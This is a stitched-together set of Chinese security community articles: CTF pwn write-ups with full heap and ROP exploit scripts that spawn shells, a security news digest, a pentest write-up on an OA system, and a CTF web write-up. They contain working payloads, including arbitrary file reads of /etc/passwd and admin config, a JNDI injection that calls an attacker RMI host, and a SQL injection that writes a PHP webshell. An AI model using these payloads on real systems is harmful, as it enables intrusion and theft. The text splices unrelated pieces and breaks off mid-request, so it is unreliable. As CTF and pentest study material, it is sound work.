sh.sendline(str(libc_base + libc.symbols['__malloc_hook'] - heap_base - 0x50))
sh.recvuntil('content')
sh.sendline('Anyvalue')
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(0x10))
sh.recvuntil('content')
sh.sendline(p64(libc_base + libc.symbols['system']))
sh.recvuntil('2:puts')
sh.sendline('1')
sh.recvuntil('size')
sh.sendline(str(libc_base + libc.search('/bin/sh').next()))
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
## 0x04 FirstDay_doucument
### 题目信息
全保护都被开启了
### 漏洞分析
分析delete函数可以很明显的看出存在UAF和Double Free漏洞
那么当我们释放一个chunk后，再申请的大小为0x20的chunk事实上都会被存储在可写区域，那么可以直接篡改Note的note指针，使之指向`__free_hook`，然后将其改写为`system`即可完成攻击。
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
doucument=ELF('./doucument', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./doucument")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,name,sex,information):
sh.recvuntil('Give me your choice : ')
sh.sendline('1')
sh.recvuntil('input name')
sh.send(name)
sh.recvuntil('input sex')
sh.send('W')
sh.recvuntil('input information')
sh.send(information)
def show(sh,index):
sh.recvuntil('Give me your choice : ')
sh.sendline('2')
sh.recvuntil('Give me your index : ')
sh.sendline(str(index))
def edit(sh,index,Change_sex,information):
sh.recvuntil('Give me your choice : ')
sh.sendline('3')
sh.recvuntil('Give me your index : ')
sh.sendline(str(index))
sh.recvuntil('Are you sure change sex?')
if Change_sex:
sh.send('Y')
else:
sh.send('N')
sh.recvuntil('Now change information')
sh.send(information)
def delete(sh,index):
sh.recvuntil('Give me your choice : ')
sh.sendline('4')
sh.recvuntil('Give me your index : ')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
creat(sh,'/bin/shx00','W','/bin/shx00' * 14)
creat(sh,'Chunk__1','W','A' * 0x70)
creat(sh,'Chunk__2','W','B' * 0x70)
delete(sh,1)
show(sh,1)
libc_base = get_address(sh,'We get libc address is ','x0A','x0A',-0x3C4B78)
creat(sh,'Chunk__3','W','C' * 0x70)
creat(sh,'Chunk__4','W','D' * 0x70)
edit(sh,1,False,p64(0)+p64(0x21)+p64(libc_base + libc.symbols['__free_hook'] - 0x10) + p64(1) + p64(0) * 10)
edit(sh,4,False,p64(libc_base + libc.symbols['system']) + p64(1) + p64(0) * 12)
delete(sh,0)
sh.interactive()
## 0x05 SecondDay_Some_thing_exceting
### 题目信息
可以发现程序除了PIE之外保护全部开启了。
### 漏洞分析
可以发现，程序在启动时就已经将flag读入了BSS段，并且在存储flag的内存区域上方已经预留了一个`x60`
接着可以很快发现在delete函数中，程序在删除`banana`时，free后未将指针置0。存在UAF以及UAF衍生出的`Double
free`漏洞。于是可以使用`fastbin attack`借助预留的`x60`将chunk直接分配过去，flag就会恰好在ba的位置，可以直接进行读取。
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./")
return remote(sys.argv[1], sys.argv[2])
else:
return process("./excited")
def get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,name_size,name_value,desc_size,desc_value):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('1')
sh.recvuntil('> ba's length : ')
sh.sendline(str(name_size))
sh.recvuntil('> ba : ')
sh.sendline(name_value)
sh.recvuntil('> na's length : ')
sh.sendline(str(desc_size))
sh.recvuntil('> na : ')
sh.sendline(desc_value)
def delete(sh,index):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('3')
sh.recvuntil('> Banana ID : ')
sh.sendline(str(index))
def show(sh,index):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('4')
sh.recvuntil('> Banana ID : ')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
creat(sh,0x50,'Chunk_1',0x50,'Chunk_2')
creat(sh,0x50,'Chunk_3',0x50,'Chunk_4')
delete(sh,0)
delete(sh,1)
delete(sh,0)
creat(sh,0x50,p64(0x602098),0x50,'Chunk_2')
creat(sh,0x50,'Chunk_3',0x50,'Chunk_4')
creat(sh,0x50,'',0x30,'')
show(sh,4)
sh.interactive()
sh.close()
## 0x06 SecondDay_Some_thing_interesting
### 题目信息
本题保护全开。
### 漏洞分析
本题的漏洞利用难度要高一些，可以发现题目中提供了`Check Code`功能。
分析后发现了一个格式化字符串漏洞用来泄露程序的PIE~
并且发现，delete函数处依旧存在UAF漏洞，那么可以利用`Fastbin Attack`劫持`Oreo
list`进而篡改`free_hook`来get_shell。
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
interested=ELF('./interested')
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./")
return remote(sys.argv[1], sys.argv[2])
else:
return process("./interested")
def get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,name_size,name_value,desc_size,desc_value):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('1')
sh.recvuntil('> O's length : ')
sh.sendline(str(name_size))
sh.recvuntil('> O : ')
sh.sendline(name_value)
sh.recvuntil('> RE's length : ')
sh.sendline(str(desc_size))
sh.recvuntil('> RE : ')
sh.sendline(desc_value)
def edit(sh,index,name_value,desc_value):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('2')
sh.recvuntil('> Oreo ID : ')
sh.sendline(str(index))
sh.recvuntil('> O : ')
sh.sendline(name_value)
sh.recvuntil('> RE : ')
sh.sendline(desc_value)
def delete(sh,index):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('3')
sh.recvuntil('> Oreo ID : ')
sh.sendline(str(index))
def show(sh,index):
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('4')
sh.recvuntil('> Oreo ID : ')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
sh.recvuntil('> Input your code please:')
sh.sendline('OreOOrereOOreO'+'%14$p')
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('0')
PIE_addr=get_address(sh,'We leak an addr : ','# Your Code is OreOOrereOOreO0x','n',True) - 0x202050
log.success('PIE addr is '+str(hex(PIE_addr)))
creat(sh,0x60,'Chunk_1',0x70,'Chunk_1')
creat(sh,0x60,'Chunk_2',0x70,'Chunk_2')
delete(sh,1)
delete(sh,2)
delete(sh,1)
creat(sh,0x60,p64(0x202080+PIE_addr),0x50,'Chunk_1')
creat(sh,0x60,'Chunk_2',0x50,'Chunk_2')
creat(sh,0x60,'Chunk_1',0x50,'Chunk_1')
sh.recvuntil('> Now please tell me what you want to do :')
sh.sendline('1')
sh.recvuntil('> O's length : ')
sh.sendline(str(0x60))
sh.recvuntil('> O : ')
sh.send(p64(0x70)*3+p64(0)*8+p64(0x2020E8+PIE_addr))
sh.recvuntil('> RE's length : ')
sh.sendline(str(0x50))
sh.recvuntil('> RE : ')
sh.sendline('Chunk_3')
edit(sh,1,p64(0x2020E8+PIE_addr)+p64(interested.got['puts']+PIE_addr),'Anyvalue')
show(sh,2)
puts_addr=get_address(sh,'We get puts address is ','# oreo's O is ','n')
libc_base=puts_addr-libc.symbols['puts']
system_addr=libc_base+libc.symbols['system']
binsh_addr =libc_base+libc.search('/bin/sh').next()
edit(sh,1,p64(0x2020E8+PIE_addr)+p64(libc.symbols['__free_hook']+libc_base)+p64(binsh_addr),p64(binsh_addr))
edit(sh,2,p64(system_addr),p64(system_addr))
delete(sh,3)
sh.interactive()
sh.sendline('cat /flag')
flag=sh.recvuntil('n').strip('n')
log.success('The flag is '+flag)
sh.close()
## 0x07 SecondDay_borrowstack
### 题目信息
仅开启NX保护
### 漏洞分析
本题很明显存在栈溢出，并且可以使用栈迁移技术完成利用。
但要注意，我们在BSS段构造`ROP Chain`时，需要在前端布置一段空区域，防止ROP链在执行时访问到非法内存。
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
borrowstack=ELF('./borrowstack', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./borrowstack")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
if __name__ == "__main__":
sh = get_sh()
# get_gdb(sh)
payload = 'A' * 0x60 + p64(0x0000000000601080 + 0x28) + p64(0x0000000000400699)
sh.recvuntil('elcome to Stack bank,Tell me what you want')
sh.send(payload)
payload = 'x00' * 0x30
payload += p64(0x0000000000400590) + p64(borrowstack.bss()+0x500)
payload += p64(0x0000000000400703) + p64(borrowstack.got['__libc_start_main'])
payload += p64(borrowstack.plt['puts'])
payload += p64(0x0000000000400703) + p64(0)
payload += p64(0x0000000000400701) + p64(0x0000000000601108) + p64(0x0000000000601108)
payload += p64(borrowstack.plt['read'])
sh.recvuntil('Done!You can check and use your borrow stack now!')
# get_gdb(sh)
sh.send(payload)
libc_base = get_address(sh,'We get libc address is ','x0A','x0A',-libc.symbols['__libc_start_main'])
payload = p64(0x00000000004004c9)* 0x50
payload += p64(0x0000000000400703) + p64(libc_base + libc.search('/bin/sh').next())
payload += p64(libc_base + libc.symbols['system'])
sh.send(payload)
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
## 0x08 ThirdDay_Signin
### 题目信息
仅开启Canary和NX。
### 漏洞分析
漏洞十分明显，del函数free后指针未置零，存在UAF漏洞，但采用了辅助标志变量，封堵了double_free漏洞。
edit函数只能调用一次，cnt初值为0，自减后即变为-1，不再满足条件。
注意，我们发现在调用backdoor函数时，程序会调用一次`calloc`，而`calloc`的特性会导致直接从`fastbin`中取出Chunk，而在libc的源码中可以看到
此处会取出fastbin的所有剩余Chunk并将其链入tcache bin。在链入时，会向其fd域写入链表的相关信息，并且发现，在链入过程中，
**不会对该chunk做size合法性检查** （此处`tache_put`函数已经明确注明，index的合法性由主调函数确认）！
那么，若我们在fastbin中事先链入一个非法的chunk位于`ptr-0x10`的位置，将会在置入tcache bin时使得ptr被填入chunk地址。
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
signin=ELF('./signin', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./signin")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,index):
sh.recvuntil('your choice?')
sh.sendline('1')
sh.recvuntil('idx?')
sh.sendline(str(index))
def edit(sh,index,value):
sh.recvuntil('your choice?')
sh.sendline('2')
sh.recvuntil('idx?')
sh.sendline(str(index))
sh.sendline(value)
def delete(sh,index):
sh.recvuntil('your choice?')
sh.sendline('3')
sh.recvuntil('idx?')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
for i in range(7):
creat(sh,i)
for i in range(7,9):
creat(sh,i)
for i in range(7):
delete(sh,i)
for i in range(7,9):
delete(sh,i)
creat(sh,9)
edit(sh,8,p64(0x4040B0))
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
### Glibc2.29下的非预期解
在glibc-2.29下，chunk在free时加入了以下代码：
而key的位置，恰好是cnt的位置，于是可以做到多次edit完成利用。
在运行以下代码后，可以看到，`cnt`已经变成了`-1`。
creat(sh,0)
delete(sh,0)
edit(sh,0,p64(0x4040B0))
接下来运行以下代码后，可以看到，`cnt`已经被重置为了`0`。
creat(sh,1)
creat(sh,2)
### Final Exploit——非预期
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
signin=ELF('./signin', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./signin")
def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,index):
sh.recvuntil('your choice?')
sh.sendline('1')
sh.recvuntil('idx?')
sh.sendline(str(index))
def edit(sh,index,value):
sh.recvuntil('your choice?')
sh.sendline('2')
sh.recvuntil('idx?')
sh.sendline(str(index))
sh.sendline(value)
def delete(sh,index):
sh.recvuntil('your choice?')
sh.sendline('3')
sh.recvuntil('idx?')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
creat(sh,0)
delete(sh,0)
edit(sh,0,p64(0x4040B0))
creat(sh,1)
creat(sh,2)
edit(sh,2,p64(0)*2+p64(1))
sh.recvuntil('your choice?')
sh.sendline('6')
sh.interactive()
flag=get_flag(sh)
log.success('The flag is '+flag)
## 0x9 后记
剩余的两道C++ PWN将在专门的文章中作为例题总结。
## 0x10 参考链接
[canary analysis – zet](http://www.hardenedlinux.org/2016/11/27/canary.html)
[为什么/lib32/libc.so.6中有两个“fopen”符号？](https://stackoom.com/question/cQ06/%E4%B8%BA%E4%BB%80%E4%B9%88-lib-libc-so-%E4%B8%AD%E6%9C%89%E4%B8%A4%E4%B8%AA-fopen-%E7%AC%A6%E5%8F%B7)
[Top chunk劫持：House of force攻击](https://www.anquanke.com/post/id/175630) | 社区文章 |
# 【知识】11月2日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 英伟达（Nvidia）的机器人可以生成随机逼真的人脸图片、Android 8.0的新特性Adaptive
Icons使数千安卓手机无限重启、Silence：攻击金融机构的新型木马分析报告、LKM Linux rootkit、Phishruffus：用于识别
**非法银行网络钓鱼** 和 **恶意DNS服务器** 的工具、YouTuber恶意软件分析小哥向网友分享他的学习经历和给新人的建议**
**
**
**资讯类：**
英伟达（Nvidia）的机器人可以生成随机逼真的人脸图片
（Nvidia称通过30,000多张高分辨率人脸图片训练其AI机器人长达20天）
[https://www.bleepingcomputer.com/news/technology/nvidia-ai-bot-creates-random-lifelike-human-faces/](https://www.bleepingcomputer.com/news/technology/nvidia-ai-bot-creates-random-lifelike-human-faces/)
视频演示：
Android 8.0(Oreo）的新特性Adaptive Icons使数千安卓手机无限重启
（由一位Android app的开发者在其app的Google
Play页面来自用户的评论中发现。据称，他只是无意中将某xml文件中定义的某图片的文件名跟当前xml文件名重名了(比如ic_launcher_main.xml和ic_launcher_main.png)，导致了循环引用，引发app的crash、桌面Launcher应用crash，最终无限重启。导致用户只能恢复出厂设置。
**而** **这种bug只会在使用了Adaptive Icons的app上发生** 。而这一点在他用于开发app的Android
Studio中并没有给出提示，因为这种情况只有在真机上才能发现。）
<https://www.bleepingcomputer.com/news/mobile/android-oreo-adaptive-icons-bug-sends-thousands-of-phones-into-infinite-boot-loops/>
开发者向Google提交的bug详情
<https://issuetracker.google.com/issues/68716460>
CryptoShuffler恶意软件通过替换被感染电脑粘贴板上的比特币的Wallet ID偷了150,000美元
<https://www.bleepingcomputer.com/news/security/cryptoshuffler-stole-150-000-by-replacing-bitcoin-wallet-ids-in-pc-clipboards/>
D-Link的中东官网被发现注入js挖矿代码——被黑了吗？
<https://thehackernews.com/2017/11/dlink-cryptocurrency-miner.html>
黑客通过扫描拿下使用默认SSH凭证的以太坊挖矿设备
<https://www.bleepingcomputer.com/news/security/hackers-using-default-ssh-creds-to-take-over-ethereum-mining-equipment/>
**技术类：** ****
********
Oracle Java SE Web Start jnlp XML External Entity Processing Information
Disclosure
<https://cxsecurity.com/issue/WLB-2017100226>
Silence：攻击金融机构的新型木马分析报告
<https://securelist.com/the-silence/83009/>
网络入侵的时间维度考虑
<https://www.recordedfuture.com/cyber-operations-time/>
Burp Suite扫描器Attack Selector插件
<https://github.com/inode-/AttackSelector/>
malwarebytes总结近期的网络犯罪活动，并指出用户该如何保护自己
<https://blog.malwarebytes.com/101/2017/11/mind-these-digital-crimes-arm-yourself-against-them/>
CLDAP反射放大攻击超过SSDP和CharGen成为第三大反射型DDoS攻击
<http://blog.netlab.360.com/cldap-is-now-the-3rd-reflection-amplified-ddos-attack-vector-surpassing-ssdp-and-chargen/>
YouTuber恶意软件分析小哥向网友分享他的学习经历和给新人的建议
WhatsApp 2.17.52 Memory Corruption
<https://cxsecurity.com/issue/WLB-2017110010>
WordPress的user-login-history插件中的多个XSS
<https://cxsecurity.com/issue/WLB-2017110006>
CSE Cybsec ZLab的研究员发布Bad Rabbit的详细分析报告
<http://securityaffairs.co/wordpress/65048/malware/full-analysis-bad-rabbit.html>
报告下载地址：
<http://csecybsec.com/download/zlab/20171101_CSE_BadRabbit_Full_Report.pdf>
Ingenious学校管理系统2.3.0 'friend_index' SQL注入
<https://www.exploit-db.com/exploits/43108/>
Diamorphine – LKM Rootkit for Linux Kernels 2.6.x/3.x/4.x
<http://www.kitploit.com/2017/11/diamorphine-lkm-rootkit-for-linux.html>
<https://github.com/m0nad/Diamorphine>
LKM Linux rootkit
<https://github.com/f0rb1dd3n/Reptile>
ZyXEL PK5001Z调制解调器被发现后门账号
<https://www.exploit-db.com/exploits/43105/>
Phishruffus：用于识别 **非法银行网络钓鱼** 和 **恶意DNS服务器** 的工具
<http://www.kitploit.com/2017/11/phishruffus-intelligent-threat-hunter.html> | 社区文章 |
#### **0x01 背景**
记一次授权的渗透测试，目标网站使用了某凌OA（EKP）办公系统，版本存在任意文件读取和SSRF+JNDI远程命令执行安全缺陷，本文仅对这方面做相关描述，针对此网站系统进行的信息收集覆盖面和其他测试小工具就不再赘述了...
【旺柴】——手动狗头，厚码见谅，大佬轻喷~
#### **0x02 概述**
系统存在`任意文件读取`漏洞，攻击者可利用该漏洞`读取管理员密码配置文件`或读取系统其他敏感文件，获取加密口令后可通过`默认key`对密码进行`解密`，从而登入系统配置管理后台，`携带登入后台的Cookie`可利用`SSRF`漏洞进行`远程命令执行`操作。
#### **0x03 任意文件读取**
漏洞位置在/sys/ui/extend/varkind/custom.jsp，也就是在`custom.jsp`这个页面；
请求方法为POST；
请求包&Payload如下：
读取`/etc/passwd`文件
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie:
Connection: close
Content-Length: 42
var={"body":{"file":"file:///etc/passwd"}}
读取`/WEB-INF/KmssConfig/admin.properties`配置文件，获取管理员加密口令
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie:
Connection: close
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
#### **0x04 任意文件读取POC**
#### **0x05 SSRF+JNDI远程命令执行**
利用漏洞读取`/WEB-INF/KmssConfig/admin.properties`配置文件，使用`默认密钥`对密码进行`解密`
模式：ECB
填充：ZeroPadding
偏移量：ECB模式不需要
默认密钥：`kmssAdminkey`
得到明文密码后，访问
**/amdin.do**`系统配置`管理后台进行登入操作；JNDI的远程命令执行，需要配合后台密码进行执行；没有密码，即使有SSRF的读取也是没有用处的，因为Web系统可能更改了默认安装的路径，导致读取不到
成功登入后，使用JNDI注入利用工具，生成JNDI链接并启动后端相关服务,可执行程序为jar包，在命令行中运行以下命令：
`$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A]
[IP]`
其中:
**-C** \- 远程class文件中要执行的命令。
（可选项 , 默认命令是mac下打开计算器，即"open /Applications/Calculator.app"）
**-A** \- 服务器地址，可以是IP地址或者域名。
（可选项 , 默认地址是第一个网卡地址）
注意:
要确保 **1099** 、 **1389** 、 **8180** 端口可用，不被其他程序占用。
工具获取：源码下载到本地然后自行编译打包。（在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以）
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
运行工具监听端口，进行ping dnslog测试
`$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping
b50dpx.dnslog.cn" -A "xxx.xxx.xxx.xxx"`
POST /admin.do HTTP/1.1
Host:
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie:
Connection: close
method=config&datasource=rmi://xxx.xxx.xxx.xxx:1099/zosci3
#### **0x06 漏洞修复建议**
目前厂商已提供相关漏洞补丁链接，请关注厂商主页随时更新。 | 社区文章 |
# 2021 DASCTF July cybercms 一探再探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
在前不久结束的 2021 DASCTF July X CBCTF 4th 比赛中，有一道名为 cybercms 的 web 题目。
预期解是从后台登录处进行 SQL 注入写入一句话木马，然而咱在做题的时候尝试了另一种思路，用的是后台登录绕过 & 木马上传的打法。
由于比赛的时候半天打不通就十分难受，赛后还是想不明白就来稍微深入探究了一下，经过曲折最后终于成功打通了。
这篇就来记录一下做这道题时候的心路历程吧……
* * *
## 题目初探
> **cybercms**
>
> 赛博CMS，只为安全而生
>
> Hint: 信息搜集是一个web手必备的技能
很好，是 [BEESCMS](http://www.beescms.com)，head 里的 description 没改，正文里其实也没改完。
从官网找到了 [官方 V4.0 源码下载](http://pan.baidu.com/s/1slSoqIx)
~~（不过貌似没啥用~~ 后来发现还是有用的
* * *
## 后台登录绕过 & 上传
参考 [【代码审计】 beescms
变量覆盖漏洞导致后台登陆绕过分析](https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247486046&idx=1&sn=1b168a2f302f2cd4c97d23c22454a042)，`$_SESSION`
可以被任意覆盖。
POST /
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
然后直接可以访问后台了。
<http://xxxxxxxxxxx/admin/admin.php>
参考 [代码审计就该这么来3 beescms getshell](https://paper.seebug.org/90/)
按照文中的思路，上传一个后缀为 `.php` 的一句话木马，并修改 `Content-Type: image/png` 来通过后端对文件类型的校验。
然而发现他文件目录没权限上传啊，随便上传一个正常的图片也是如此……
* * *
## 源码泄露
麻了，做到一半才发现有 **源码泄露** ，`/www.zip`…
diff 大法好啊，看来官方源码还是有用的 2333。
多了个 `hackable/` 目录，看起来只有这个目录可写的样子。 _（虽然最后发现也不行_
登录还过滤了一下 SQL 注入。
注意的是还把 `/*` `*` 的过滤给去掉了。
* * *
## 上传点源码审计
再来看上传部分的源码。
审了一波源码，发现其实可以 **构造目录穿越** 。
`$up_file_name2` 由 `$pic_alt` 而来，这个是可控的，只需要构造个目录穿越到 `hackable` 目录下就完事了。
为了进到这里，上传的时候记得再把 `Content-Type: image/png` 改好， `is_alt` 设为 `1`。
然而还是没打通，报错和上面的类似，也是 PHP 执行的时候文件目录没权限，只不过可以注意到文件名是 `.php` 了。
（咱也不知道为啥他 `$pic_alt` 没传进来，留空的话也不是随机数，一脸懵逼
* * *
## 另一个上传点审计
于是么得办法，再挖了另一个文件上传的点，考虑通过 **修改已上传图片的接口** 来进行上传。
相应源码如下。
这里的 `$pic_path` 和 `$pic_name` 都是可控的，任意改一个就完事了。当然这是 PHP/5.6.40，`%00` 截断不可行
2333.
**然而还是打不通……**
绝绝子，挖了两条上传的路，试着绕到 `hackable` 目录也打不通……
**看来还是文件目录的限制吧。**
心态炸了啊啊啊啊啊。
* * *
## SQL 注入写马（预期解）
害，赛后看了看大佬的 wp，么得办法，还是得走 SQL 注入写入文件呗。（佛了
再来看上面 diff 出来的关于 SQL 注入的语句。
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
function f1_vvv($str){
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
}
preg_replace('/0x/i','',$str);
return $str;
}
过滤了空格，倒是把 `/*` 过滤去掉了，另外把一些关键词过滤为空了，双写绕过就完事了。
根据代码里登录的 SQL 语句
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
构造 SQL
# select xxx into outfile xxx
# <?php eval($_REQUEST['m']);?>
admin'/**/uni union on/**/seselectlect/**/null,null,null,null,0x3c3f706870206576616c28245f524551554553545b276d275d293b3f3e/**/in in to/**/outoutfilefile/**/'/var/www/html/upload/miao.php'#
_（咱也不知道为啥`0x` 没被过滤为空，双写 `0x` 发现并没有被删除反而 SQL 执行报错了_
**Payload:**
POST /admin/login.php?action=ck_login HTTP/1.1
